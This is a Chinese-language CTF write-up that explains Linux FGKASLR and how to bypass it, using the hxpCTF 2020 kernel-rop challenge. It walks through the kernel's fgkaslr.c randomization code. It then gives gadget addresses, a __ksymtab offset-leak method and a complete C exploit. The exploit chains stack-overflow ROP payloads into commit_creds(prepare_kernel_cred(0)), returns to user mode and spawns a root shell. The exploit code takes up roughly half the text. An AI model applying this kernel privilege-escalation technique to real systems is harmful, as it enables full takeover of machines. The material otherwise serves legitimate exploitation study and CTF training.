FGKASLR
FGASLR(Function Granular KASLR)是KASLR的加強版,增加了更細粒度的地址隨機化。因此在開啟了FGASLR的內核中,即使泄露了內核的程序基地址也不能調用任意的內核函數。
layout_randomized_image
在fgkaslr.c文件中存在著隨機化的明細。
/*
linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
...
shnum = ehdr->e_shnum; //獲取節區的數量
shstrndx = ehdr->e_shstrndx; //獲取字符串的索引
...
/* we are going to need to allocate space for the section headers */
sechdrs = malloc(sizeof(*sechdrs) * shnum); //開辟一段空間用于防止節區頭部
if (!sechdrs)
error("Failed to allocate space for shdrs");
sections = malloc(sizeof(*sections) * shnum); //開辟一段空間用戶防止節區的內容
if (!sections)
error("Failed to allocate space for section pointers");
memcpy(sechdrs, output + ehdr->e_shoff,
sizeof(*sechdrs) * shnum); //拷貝頭部數據
/* we need to allocate space for the section string table */
s = &sechdrs[shstrndx]; //獲取節區名
secstrings = malloc(s->sh_size); //開辟一段空間用于防止節區名稱
if (!secstrings)
error("Failed to allocate space for shstr");
memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷貝節區名稱
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) { //遍歷節區,選擇需要重定位的節區
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) { //遇到符號節區跳過
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
...
if (!strcmp(sname, ".text")) { //第一個.text的節區直接跳過
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的節區也直接跳過
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text"))) //若一個節區具有SHF_ALLOC與SHF_EXECINSTR的標志位,并且節區名的前綴屬于.text則會進行細粒度的地址隨機化
continue;
sections[num_sections] = s; //剩余的節區都放置到新開辟的空間中,進行細粒度的地址隨機化
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
...
}
通過上述代碼分析可知
- ? 符號節區不進行細粒度的地址隨機化
- ? 第一個
.text節是不會進行細粒度的地址隨機化 - ? 需要同時具備
SHF_ALLOC與SHF_EXECINSTR標志位,并且節區的前綴為.text才會被選擇進行細粒度的地址隨機化
可以看到layout_randomized_image函數還是會保持原有的節區偏移,但是會在內存中尋找另一個空間進行存儲,這就導致在內核開啟了FGKASLR保護時并不是所有的節區都以內核程序基地址作為基址進行偏移,想要做到任意內核函數的調用,就需要找到調用函數所處的節區的基地址,使得利用更加復雜化了。
FGKASLR保護的繞過
想要繞過FGKASLR,我們可以挑選不受影響的節區中的gadget進行ROP鏈的構造。
首先是不存在SHF_ALLOC與SHF_EXECINSTR標志位的節區

其次是.text的節區,可以看到該節區存在0x200000的大小,因此可以挑選0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可選的gadget還是比較充足的。

上述的節區都是不受FGKASLR保護的影響,只需要泄露出內核程序的基地址,就可以按照繞過KASLR的思路進行漏洞的利用。
想要在內核態完成提權返回到用戶態,我們需要調用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
因此先來看commit_creds與prepare_kernel_cred函數是否符合要求,可以看到commit_creds函數的地址為0xffffffff814c6410,prepare_kernel_cred函數的地址為0xffffffff814c67f0都是超過.text的節區空間了(這里我是關閉了KASLR的)。

可以多運行幾次環境,查看這個兩個函數的地址,會發現末尾地址的偏移會一直在變化。(開啟了KASLR)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
第一次

第二次

可以看到第一次運行與第二次運行的地址是完全不一樣的,但是處于不進行細粒度的節區ksymtab,只有中間的九個比特位(KASLR)發生了改變,其余部分是一致的。這也是KASLR與FGKASLR的區別。但是實際的利用又需要用到這兩個函數,因此還是需要特殊的手法泄露出這兩個函數的實際地址。(1)能夠泄露這兩個函數現有的基地址(2)通過符號表進行地址讀取。
這里采用(2)的手法進行函數地址的泄露,ksymtab節存放著內核函數的符號表,使用下述結構體進行維護。
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
- ?
value_offset:內核符號的值的偏移 - ?
name_offset:內核符號的名稱的偏移 - ?
namespace_offset:內核符號所屬的命名空間的名稱在內存中的偏移量或地址。
因此value_offset正是我們所關注的,這里需要注意的是這里的偏移地址是基于當前地址的偏移。以ksymtab_commit_creds為例,ksymtab_commit_creds的地址值為0xffffffffa8587d90,該地址存儲的值為0xffa17ef0,計算的結果為0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,結果剛好是commit_creds函數的地址值,這里說明一下為什么需要用(2^32 - 0xffa17ef0),因為value_offset是int類型,而0xffa17ef0是負數,因此需要先轉換在進行相減才是實際值。

那么利用上述的方法就可以求出commit_creds與prepare_kernel_cred函數的地址。
那么接著看如何獲取swapgs與iretq指令的地址,之前在介紹如何繞過kpti時介紹過一個特殊的函數swapgs_restore_regs_and_return_to_usermode,里面除了能夠通過cr3轉換頁表,里面還具備swapgs和iretq指令。在內核中搜索一下這個函數的地址,可以發現它處于.text節區的范圍內,因此這個地址可以直接拿來用。

因此繞過FGKASLR的方法就出來了,首先是泄露內核程序基地址,通過該基地址獲得__ksymtab_commit_creds與__ksymtab_prepare_kernel_cred的地址,通過上述兩個符號獲取實際的commit_creds與prepare_kernel_cred函數的地址,最后通過swapgs_restore_regs_and_return_to_usermode函數返回用戶態。
hxpCTF 2020 kernel-roprun.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \ -s
這里還是使用 hxpCTF 2020的內核題作為例子
項目地址:https://github.com/h0pe-ay/Kernel-Pwn
之前提到過了程序存在棧溢出的漏洞,并且允許我們讀取內核棧上的數據,通過讀取內核棧上的數據可以泄露出canary的值以及程序的基地址,這里需要特別注意的是,當開啟了FGKASLR時,不是所有的地址都可以用來計算基地址的,只能找在.text范圍內的地址,否則是無法計算出內核程序基地址。因此這里選擇0xffffffff8100a157的地址作為泄露地址。

那么在泄露了canary和地址之后就可以利用棧溢出完成提權返回用戶態了,在之前的用戶態下的利用,我們可以借助write或者是puts 函數去讀取地址中的內容,但是在內核態的利用則不需要這么麻煩了,例如可以先將__ksymtab_commit_creds地址賦值給rax寄存器,接著通過mov rax,[rax]; ret的指令完成對指定地址完成讀取操作。這里我使用的gadget為
0xffffffff81004d11: pop rax; ret; [0x4d11] 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
首先利用pop rax; ret指令,將__ksymtab_commit_creds函數的地址賦值給rax寄存器,接著使用mov rax, qword ptr [rax];函數將__ksymtab_commit_creds地址的內容讀取到rax寄存器中,那么接下來就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函數先暫時返回到用戶態,接著采用內聯匯編,進行值的提取。這里需要注意的是需要將ROP鏈與內聯匯編分隔開,否則rax寄存器可能會被編譯器優化掉,即會有清空rax寄存器的操作。并且所有找的gadget都必須是不會進行細粒度調整的節區中挑選,否則無法獲取真實地址。
...
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx", commit_creds);
jmp_leak_prepare_kernel_cred();
}
...
在調用為prepare_kernel_cred后需要將rax寄存器的值傳遞給rdi寄存器中,因為需要作為commit_creds函數的參數。但是在.text中找了很久都沒有合適的gadget,那么還是同樣采用內聯匯編,將rax寄存器的值讀取出,再傳遞給commit_creds函數即可。這里又需要特別注意,最好不要使用太多的全局變量存儲,否則會覆蓋一開始保存的user_cs,user_rflags,user_sp,user_ss的變量值。因此在payload中我特定將這幾個變量初始化的特定的值,使得這幾個變量存儲在.data段防止被其它的值覆蓋。
image-20230703214402506
因此針對FGKASLR保護的繞過,實際是利用FGKASLR特點,只在特定的區域中選取適合的gadget,從而將FGKASLR弱化為KASLR,進而繼續利用。
exp
#include
#include
/*
0xffffffff81006370: pop rdi; ret; -- [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
//iretq RIP|CS|RFLAGS|SP|SS
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx", user_cs);
printf("user_sp:0x%lx", user_sp);
printf("user_ss:0x%lx", user_ss);
printf("user_rflags:0x%lx", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx", commit_creds);
jmp_leak_prepare_kernel_cred();
}
void jmp_leak_prepare_kernel_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_prepare_kernel_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_prepare_kernel_cred()
{
__asm(
".intel_syntax noprefix;"
"mov prepare_kernel_cred_offset, rax;"
".att_syntax;"
);
printf("prepare_kernel_cred_offset:0x%x", prepare_kernel_cred_offset);
prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
printf("prepare_kernel_cred:0x%lx", prepare_kernel_cred);
printf("jmp get cred");
jmp_get_cred();
}
void jmp_get_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)get_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void get_cred()
{
__asm(
".intel_syntax noprefix;"
"mov cred, rax;"
".att_syntax;"
);
printf("cred:0x%lx", cred);
jmp_back_door();
}
void jmp_back_door()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = cred; //cred
payload[index++] = commit_creds; // commit_creds
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
int main()
{
save_state();
fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 40 * 8);
for(int i = 0; i < 40; i++)
printf("i:%d\taddress:0x%lx",i, buf[i]);
canary = buf[2];
unsigned long leak_addr = buf[38];
printf("leak addr:0x%lx", leak_addr);
image_base = leak_addr - 0xa157;
printf("ImageBase:0x%lx", image_base);
start();
}
中國網絡空間安全協會
一顆小胡椒
合天網安實驗室
威脅棱鏡
FreeBuf
FreeBuf
CNCERT國家工程研究中心
HACK之道
FreeBuf
中國信息安全
看雪學苑
看雪學苑